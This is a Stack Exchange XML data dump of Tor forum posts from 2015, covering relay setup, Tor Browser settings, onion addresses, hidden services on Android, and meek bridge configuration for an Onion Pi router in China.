  <row Id="6515" PostTypeId="2" ParentId="6511" CreationDate="2015-03-29T14:10:56.407" Score="3" Body="&lt;p&gt;So it's garbage because it didn't work on your mac? Reinstalling the whole OS should wipe the stuff Tor installed on system files (in case any changes to system has been made). The problem sounds like a dead or dying hard drive. Just an app like Tor won't render computers unbootable. It works great on my mavericks installation.&lt;/p&gt;&#xA;" OwnerUserId="7055" LastActivityDate="2015-03-29T14:10:56.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6517" PostTypeId="2" ParentId="6514" CreationDate="2015-03-29T15:20:15.140" Score="2" Body="&lt;p&gt;The Tor software includes everything you need to run a relay, exit node or just a client. To be sure you don't accidentally misconfigure anything, you can use the &lt;code&gt;ClientOnly&lt;/code&gt; option and set it to 1. That way, tor prevents you from accidentally running a relay.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastEditorUserId="88" LastEditDate="2016-05-02T18:52:00.510" LastActivityDate="2016-05-02T18:52:00.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6518" PostTypeId="2" ParentId="6509" CreationDate="2015-03-29T15:21:42.250" Score="2" Body="&lt;p&gt;That entire thing currently doesn't work, due to a Firefox bug. More details can be found in Tor's bug tracker. I would recommend you ignore the thing for now until it works :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&#xA;It's supposed to help keep cookies across getting a new identity, so you don't get logged out of websites for example.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastEditorUserId="6883" LastEditDate="2015-03-30T13:35:36.673" LastActivityDate="2015-03-30T13:35:36.673" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6519" PostTypeId="1" CreationDate="2015-03-29T16:45:26.350" Score="0" ViewCount="83" Body="&lt;p&gt;I try to solve some caching issues I have with TBB. On websites which have hundreds of times the same image, TBB insists on re-downloading the image for every occurrence on the page even though the server correctly sets &quot;expires&quot;, &quot;max-age&quot; and &quot;cache control&quot; headers. It does seem to respect the ETAGS and only gets a 304, but it still takes about 3 minutes to load a page like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking to disable certain caching changes that might cause this but couldn't really find a reference for all the extensions.torbutton.xxx settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only found &lt;a href=&quot;https://www.torproject.org/docs/torbutton/en/design/index.html.en&quot; rel=&quot;nofollow&quot;&gt;this design documentation&lt;/a&gt; from 2011, but that seems outdated.&lt;/p&gt;&#xA;" OwnerDisplayName="user517" LastActivityDate="2015-05-28T21:28:28.197" Title="Is there an up to date reference of all the configuration options of Tor Browser Bundle?" Tags="|tor-browser-bundle|tor-button|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6520" PostTypeId="1" AcceptedAnswerId="6739" CreationDate="2015-03-29T18:03:15.037" Score="1" ViewCount="1477" Body="&lt;p&gt;Tor is moving to a single entry node implementation (&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/11480&quot; rel=&quot;nofollow noreferrer&quot;&gt;#11480&lt;/a&gt;). I think that's because it's statistically feasible for an adversary to deploy entry and exit nodes and perform a correlation attack by profiling your use of those resources — sooner or later you'd end up using those nodes at least once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of this circumstance I'd like to be able to quickly randomize the entry of a circuit programmatically. How can I do this? My guess is telnet tor daemon and send some commands, or is there a better/quicker way to accomplish that? If I correctly understood &lt;a href=&quot;https://tor.stackexchange.com/a/1452/1052&quot;&gt;this answer&lt;/a&gt; deleting the &lt;code&gt;state&lt;/code&gt; file would be an option.&lt;/p&gt;&#xA;" OwnerUserId="1052" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-04-27T23:56:14.767" Title="How can I randomize the entry guard?" Tags="|circuit|attacks|guard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6521" PostTypeId="1" CreationDate="2015-03-29T21:53:48.330" Score="2" ViewCount="4651" Body="&lt;p&gt;I know this question has been asked tons of times, I've read some answers and tor faq and manual, but still I'm unable to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded Expert Bundle from &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download.html.en&lt;/a&gt; , because I don't want a firefox process running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File structure is pretty clean. Following &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-doc-relay.html.en&lt;/a&gt; I created a file &lt;code&gt;torrc&lt;/code&gt; in &lt;code&gt;path\Data\Tor&lt;/code&gt; and added following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log info file path/Data/info.log&#xA;&#xA;ORPort 443&#xA;Exitpolicy reject *:*&#xA;Nickname ididntedittheconfig&#xA;ContactInfo human@...&#xA;&#xA;BandwidthRate 100 KBytes&#xA;SocksListenAddress 0.0.0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I executed tor.exe and I see it running in Task Manager and in Comodo Firewall. It has no TCP In connections, only 2 TCP Out, to ports 995 and 9001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well I configured a normal FireFox to use proxy, with the same config a Tor Browser has, and it doesn't work. If I run Tor Browser, it works, and if I configure Firefox to use it it works. But with Expert Bundle it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also no path/Data/info.log, so I can't follow &quot;Make sure your relay is reachable&quot; instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody help me, at least to have a Tor proxy without its bundled browser?&lt;/p&gt;&#xA;" OwnerUserId="7058" LastActivityDate="2017-08-21T03:33:23.050" Title="Configuring Relay on Windows" Tags="|relays|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6523" PostTypeId="2" ParentId="6521" CreationDate="2015-03-30T01:45:40.580" Score="2" Body="&lt;p&gt;I did it!&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Instead of using the Expert Bundle, I used Tor Browser Bundle.&lt;/li&gt;&#xA;&lt;li&gt;I downloaded latest vidalia from &lt;a href=&quot;https://dist.torproject.org/vidalia-bundles/&quot; rel=&quot;nofollow&quot;&gt;https://dist.torproject.org/vidalia-bundles/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;I installed both separately.&lt;/li&gt;&#xA;&lt;li&gt;I executed vidalia and configured it to execute Tor from Tor Browser and use its torrc.&lt;/li&gt;&#xA;&lt;li&gt;In Sharing, I chose 3rd option and used ports 443 and 9030 and forwarded these ports in router.&lt;/li&gt;&#xA;&lt;li&gt;In torrc I added &lt;code&gt;ControlPort 9151&lt;/code&gt; so that vidalia can connect to Tor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There's no need to save log on file, vidalia show it. It reported the &lt;code&gt;Excellent. Publishing server descriptor.&lt;/code&gt; message and in 1h I was being shown in Network and Bandiwdth Graph shows traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though I'm using Tor Browser Bundle, FireFox isn't executed. vidalia runs tor.exe. Its FireFox uses 120MB, while vidalia uses 40MB. Normal FireFox is working when redirecting its proxy to Tor!&lt;/p&gt;&#xA;" OwnerUserId="7058" LastEditorUserId="88" LastEditDate="2015-12-24T00:26:16.347" LastActivityDate="2015-12-24T00:26:16.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6524" PostTypeId="2" ParentId="4034" CreationDate="2015-03-30T01:49:03.953" Score="0" Body="&lt;p&gt;&lt;code&gt;https://check.torproject.org/?lang=en_US&lt;/code&gt; will tell you if your browser is using Tor.&lt;/p&gt;&#xA;" OwnerUserId="7058" LastActivityDate="2015-03-30T01:49:03.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6525" PostTypeId="2" ParentId="1503" CreationDate="2015-03-30T02:00:15.980" Score="0" Body="&lt;p&gt;I question the real validity of DNS being insecure. Most networks use to block only HTTP GET URLs, where they get domain info to block. Some gateways look on HTTP body for keywords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DNS is used only when network admin is handling hackers, who he believes have already bypassed his HTTP blocks. It's very rare even for power users to bother about DNS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if this admin is unable to properly block HTTP, will he be able to do so with DNS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major issue is that DNS queries are the base for all Internet requests based on domains. ANYTHING we access pointing to a domain needs to be resolved. So, DNS is used a lot, and it needs to reply FAST. Using blacklist filters in DNS servers can make them slow, and the whole network will suffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just logging every query everybody does to later use it in statistics is possible, in this case I agree you need to be careful. But again, few uses will be able to properly hide their HTTP usage at the same time admin is unable to block them.&lt;/p&gt;&#xA;" OwnerUserId="7058" LastActivityDate="2015-03-30T02:00:15.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6526" PostTypeId="1" AcceptedAnswerId="9321" CreationDate="2015-03-30T02:05:17.523" Score="1" ViewCount="1549" Body="&lt;p&gt;Can somebody suggest me some HTTP proxy app for Windows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few apps I wanna use over Tor, but they don't support SOCKS proxy, only HTTP proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need an HTTP proxy that's able to be itself a SOCKS proxy client, to be a bridge between these apps and Tor.&lt;/p&gt;&#xA;" OwnerUserId="7058" LastActivityDate="2015-12-29T22:21:19.250" Title="HTTP proxy over Tor" Tags="|windows|socks|https|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6527" PostTypeId="1" AcceptedAnswerId="6529" CreationDate="2015-03-30T05:19:22.673" Score="11" ViewCount="1434" Body="&lt;p&gt;Some websites have both public address and also a onion address. By having a public address, the service is no longer a hidden service. What is the point in having a .onion address? As a user, is using .onion address more anonymous than public address over tor network?&lt;/p&gt;&#xA;&lt;p&gt;Update:&#xA;From what I understand the following are the reasons,&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Avoid using tor exit node. This has some benefits.&#xA;&lt;ol&gt;&#xA;&lt;li&gt;No one can know how much traffic is reaching the website using tor.&lt;/li&gt;&#xA;&lt;li&gt;Potentially faster as there are usually small number of exit nodes as they are difficult to run.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Once the users bookmark the addresses, they don't have to worry about invalid/compromised certificate authorities and dns servers. The address is self authenticating.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6890" LastEditorUserId="6890" LastEditDate="2021-06-21T17:06:13.603" LastActivityDate="2021-06-21T17:06:13.603" Title="Why do some websites have both onion address and non onion address?" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6528" PostTypeId="1" CreationDate="2015-03-30T06:38:37.817" Score="0" ViewCount="51" Body="&lt;p&gt;On OSX, I check the file size of torBrowser.app using &quot;Get Info&quot; and see:&#xA;114,061,082 bytes (117.8MB on disk)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I execute the file and whilst it is running I see:&#xA;112,770,501 bytes (116.8 MB on disk)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After quitting the app I see:&#xA;114,054,939 bytes (117.8MB on disc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never seen such a thing before. Can anyone please explain this to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="7063" LastActivityDate="2015-04-01T04:01:39.370" Title="torBrowser.app file size changes when executing" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6529" PostTypeId="2" ParentId="6527" CreationDate="2015-03-30T06:38:46.497" Score="6" Body="&lt;p&gt;Because they want give privacy aware users a choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a user connects to the onion domain then the whole communication is end-to-end encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that users who wants can connect and use the service without anyone knowing that they are connecting to this website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If people connect to the clearnet address with a regular browser then the ISP obviously can track that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then users can connect to clearnet address through tor - which then goes through a exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point is not always to keep the website service hidden, it's about giving the users the choice of privacy.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-03-30T06:38:46.497" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6533" PostTypeId="2" ParentId="6482" CreationDate="2015-03-30T13:30:25.130" Score="1" Body="&lt;p&gt;Thanks for the suggestion, hawkeye.  I tried all the options on the Appearance tab and none of them produced the desired result.&#xA;However, if I check the &quot;Temporarily allow [...]&quot; box on the Appearance tab AND ALSO uncheck &quot;Cascade top document's permissions to 3rd party scripts&quot; on the Advanced, Trusted tab, then NoScript starts listing all domains that supply Javascript to the page.  Mystery solved!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how these settings changes affect one's level of privacy when using TorBrowser, so I will ask post that as a separate question.&lt;/p&gt;&#xA;" OwnerUserId="7010" LastActivityDate="2015-03-30T13:30:25.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6534" PostTypeId="2" ParentId="6528" CreationDate="2015-03-30T13:40:06.877" Score="1" Body="&lt;p&gt;Tor Browser stores some information about the Tor network in its installation directory (in your case, inside TorBrowser.app), which it downloads while it is running. That is why the size changes. It is absolutely normal for Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastEditorUserId="6883" LastEditDate="2015-04-01T04:01:39.370" LastActivityDate="2015-04-01T04:01:39.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6536" PostTypeId="1" CreationDate="2015-03-30T22:26:07.817" Score="1" ViewCount="236" Body="&lt;p&gt;I've read that opening files using certain programs such as Flash or Word can automatically send out information from your computer which may compromise anonymity when using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm wondering is, if I download the files (which in itself is safe as far as I know), disconnect from the internet, and then open them while offline, will the information still be sent out somehow (say, the next time I go online)?&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2015-03-31T11:30:04.957" Title="Safe to open a flash file offline?" Tags="|anonymity|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6538" PostTypeId="1" AcceptedAnswerId="6584" CreationDate="2015-03-31T05:02:20.327" Score="3" ViewCount="2021" Body="&lt;p&gt;so I got Onion Pi from Adafruit running on my RaspberryPi2 and I can connect and everything. Problem is I'm living in China and most tor traffic is blocked by the great firewall. However, I did successfully connect using the meek-amazon transport plugin on my Ubuntu laptop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is how do I get the transport plugin to work on my Onion Pi router so I can get out of China?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my torrc file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## https://www.torproject.org/docs/faq#torrc&#xA;&#xA;Log notice file /var/log/tor/notices.log&#xA;VirtualAddrNetwork 10.192.0.0/10&#xA;TransPort 9040&#xA;TransListenAddress 192.168.42.1&#xA;DNSListenAddress 192.168.42.1&#xA;&#xA;# Only ever run as a client. Do not run as a relay or an exit.&#xA;ClientOnly&#xA;&#xA;# Ensure resolution of .onion and .exit domains happen through Tor.&#xA;AutomapHostsSuffixes .onion,.exit&#xA;AutomapHostsOnResolve 1&#xA;&#xA;# Serve DNS responses&#xA;DNSPort 53&#xA;&#xA;# meek bridges&#xA;UseBridges 1&#xA;# With tor 0.2.4 or earlier, you have to configure the url and front on the&#xA;# command line, and you can only use one url/front combination at a time:&#xA;Bridge meek 0.0.2.0:1&#xA;# Google is blocked in China&#xA;# ClientTransportPlugin meek exec ./meek-client --url=https://meek-reflect.appspot.com/ --front=www.google.com --log meek-client.log&#xA;ClientTransportPlugin meek exec /usr/local/bin/meek-client --url=https://d2zfqthxsdq309.cloudfront.net/ --front=a0.awsstatic.com --l$&#xA;&#xA;DataDirectory /var/lib/tor&#xA;PidFile /var/run/tor/tor.pid&#xA;User debian-tor&#xA;&#xA;ControlSocket /var/run/tor/control&#xA;ControlSocketsGroupWritable 1&#xA;&#xA;CookieAuthentication 1&#xA;CookieAuthFileGroupReadable 1&#xA;CookieAuthFile /var/run/tor/control.authcookie&#xA;Log notice file /var/log/tor/log&quot;&#xA;&#xA;## Tor opens a socks proxy on port 9050 by default -- even if you don't&#xA;## configure one below. Set &quot;SocksPort 0&quot; if you plan to run Tor only&#xA;## as a relay, and not make any local application connections yourself.&#xA;#SocksPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SocksPort 192.168.0.1:9100 # Bind to this adddress:port too.&#xA;SocksPort 9050&#xA;&#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SocksPolicy is set, we accept&#xA;## all (and only) requests that reach a SocksPort. Untrusted users who&#xA;## can access your SocksPort may be able to learn about the connections&#xA;## you make.&#xA;#SocksPolicy accept 192.168.0.0/16&#xA;#SocksPolicy reject *&#xA;&#xA;## Logs go to stdout at level &quot;notice&quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &quot;notice&quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /var/log/tor/notices.log&#xA;#Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;#Log debug file /var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;#Log notice syslog&#xA;## To send all messages to stderr:&#xA;#Log debug stderr&#xA;&#xA;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;#DataDirectory /var/lib/tor&#xA;&#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;#ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword    16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C&#xA;#CookieAuthentication 1&#xA;&#xA;############### This section is just for location-hidden services ###&#xA;&#xA;## Once you have configured a hidden service, you can look at the&#xA;## contents of the file &quot;.../hidden_service/hostname&quot; for the address&#xA;## to tell people.&#xA;##&#xA;## HiddenServicePort x y:z says to redirect requests on port x to the&#xA;## address y:z.&#xA;&#xA;#HiddenServiceDir /var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /var/lib/tor/other_hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;#HiddenServicePort 22 127.0.0.1:22&#xA;&#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;#ORPort 443&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address noname.example.com&#xA;&#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;# OutboundBindAddress 10.0.0.5&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;#Nickname ididnteditheconfig&#xA;&#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 20 KB.&#xA;## Note that units for these config options are bytes per second, not bits&#xA;## per second, and that prefixes are binary prefixes, i.e. 2^10, 2^20, etc.&#xA;#RelayBandwidthRate 100 KB  # Throttle traffic to 100KB/s (800Kbps)&#xA;#RelayBandwidthBurst 200 KB # But allow bursts up to 200KB/s (1600Kbps)&#xA;&#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &quot;4 GB&quot; may allow up to 8 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 4 gigabytes each way per period.&#xA;#AccountingMax 4 GB&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;#AccountingStart month 3 15:00&#xA;&#xA;## Contact info to be published in the directory, so we can contact you&#xA;## if your relay is misconfigured or something else goes wrong. Google&#xA;## indexes this, so spammers might also collect it.&#xA;#ContactInfo Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentionally reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins. If you want to _replace_&#xA;## the default exit policy, end this with either a reject *:* or an&#xA;## accept *:*. Otherwise, you're _augmenting_ (prepending to) the&#xA;## default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;##&#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;##&#xA;## For security, by default Tor rejects connections to private (local)&#xA;## networks, including to your public IP address. See the man page entry&#xA;## for ExitPolicyRejectPrivate if you want to allow &quot;exit enclaving&quot;.&#xA;##&#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports but no more&#xA;#ExitPolicy accept *:119 # accept nntp as well as default exit policy&#xA;#ExitPolicy reject *:* # no exits allowed&#xA;&#xA;## Bridge relays (or &quot;bridges&quot;) are Tor relays that aren't listed in the&#xA;## main directory. Since there is no complete public list of them, even an&#xA;## ISP that filters connections to all the known Tor relays probably&#xA;## won't be able to block all the bridges. Also, websites won't treat you&#xA;## differently because they won't know you're running Tor. If you can&#xA;## be a real relay, please do; but if not, be a bridge!&#xA;#BridgeRelay 1&#xA;## By default, Tor will advertise your bridge to users through various&#xA;## mechanisms like https://bridges.torproject.org/. If you want to run&#xA;## a private bridge, for example because you'll give out your bridge&#xA;## address manually to your friends, uncomment this line:&#xA;#PublishServerDescriptor 0&#xA;&#xA;#Bridge obfs4 87.117.234.195:2801 EFE6C658FCCBB5466525F7BAD84C9DC1618D8947&#xA;&#xA;#&#xA;# In addition to the standard tor bridge configuration, add:&#xA;#&#xA;&#xA;# Use obfs4proxy to provide the obfs4 protocol.&#xA;#ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;&#xA;# Use obfs4proxy to provide the obfs4 protocol.&#xA;#ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;#ClientTransportPlugin meek exec ./meek-client --url=http://d3dsacqprgcsqh.cloudfront.net/ --log meek-client.log&#xA;&#xA;## Cloudfront server for Amazon&#xA;#d3dsacqprgcsqh.cloudfront.net  14.67%&#xA;#deayhd4nq31b0.cloudfront.net   6.06%&#xA;#d396qusza40orc.cloudfront.net  2.72%&#xA;#d3v9w2rcr4yc0o.cloudfront.net  2.26%&#xA;#d13yacurqjgara.cloudfront.net  2.09%&#xA;#dbo1rpcxmp3fw.cloudfront.net   6.83%&#xA;#d23td168vc89zo.cloudfront.net  3.82%&#xA;#d13yacurqjgara.cloudfront.net  3.72%&#xA;#d396qusza40orc.cloudfront.net  2.70%&#xA;#d3v9w2rcr4yc0o.cloudfront.net  1.35%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Log file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Apr 08 20:37:14.000 [notice] Tor 0.2.4.27 (git-412e3f7dc9c6c01a) opening new log file.&#xA;Apr 08 20:37:14.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Apr 08 20:37:14.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Apr 08 20:37:19.000 [warn] The communication stream of managed proxy '/usr/local/bin/meek-client' is 'closed'. Most probably the managed proxy stopped running. This might be a bug of the managed proxy, a bug of Tor, or a misconfiguration. Please enable logging on your managed proxy and check the logs for errors.&#xA;Apr 08 20:37:19.000 [notice] Failed to terminate process with PID '3538' ('No such process').&#xA;Apr 08 20:37:20.000 [notice] Bootstrapped 5%: Connecting to directory server.&#xA;Apr 08 20:37:20.000 [warn] We were supposed to connect to bridge '0.0.2.0:1' using pluggable transport 'meek', but we can't find a pluggable transport proxy supporting 'meek'. This can happen if you haven't provided a ClientTransportPlugin line, or if your pluggable transport proxy stopped running.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user7052" LastEditorDisplayName="user7052" LastEditDate="2015-04-08T12:40:46.247" LastActivityDate="2015-04-08T14:45:41.050" Title="How to install a Transport Plugin on OnionPi" Tags="|censorship|pluggable-transports|raspberry-pi|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6540" PostTypeId="2" ParentId="6536" CreationDate="2015-03-31T11:30:04.957" Score="3" Body="&lt;p&gt;It's safe unless the script exploits a security issue in Flash that allows it to persist (by installing a helper program that gets auto-started for example). This is occasionally possible through security issues in Flash/Word/etc, but much less of a threat than the &quot;normal&quot; ability to connect to random destinations on the internet.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-31T11:30:04.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6541" PostTypeId="1" CreationDate="2015-03-31T16:50:36.353" Score="0" ViewCount="108" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jm46C.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Whenever I try to access any Tor website with .onion, it brings up this message&lt;/p&gt;&#xA;" OwnerUserId="7079" LastActivityDate="2016-10-10T10:35:59.270" Title="Why do I get this message whenever I try to access a website on Tor?" Tags="|help|" AnswerCount="1" CommentCount="3" ClosedDate="2016-10-12T18:38:58.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="6542" PostTypeId="2" ParentId="6252" CreationDate="2015-03-31T23:23:47.837" Score="1" Body="&lt;p&gt;The first thing if you want to enable a hidden service on your Android phone is that you need Orbot and some application like a webserver or something similar. I assume you have configured a webserver which serves on port 8080.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to the Orbot settings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Iozy5.png&quot; alt=&quot;Orbot settings for hidden services&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Near the bottom you find the settings for hidden services. Activate the configuration for hidden services (&lt;em&gt;Hidden Service Hosting&lt;/em&gt;) and click on the entry below (&lt;em&gt;Hidden Service Ports&lt;/em&gt;). Here you enter the port number of your webserver (8080 in my example). Now close this dialogue and restart Tor. After some time you'll see a green onion again. Go to the settings again and click on &lt;em&gt;.Onion Hostname&lt;/em&gt;. Now you'll see the name for your hidden service and can use Tor Browser to connect to it.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="9411" LastEditDate="2016-03-05T23:24:44.743" LastActivityDate="2016-03-05T23:24:44.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
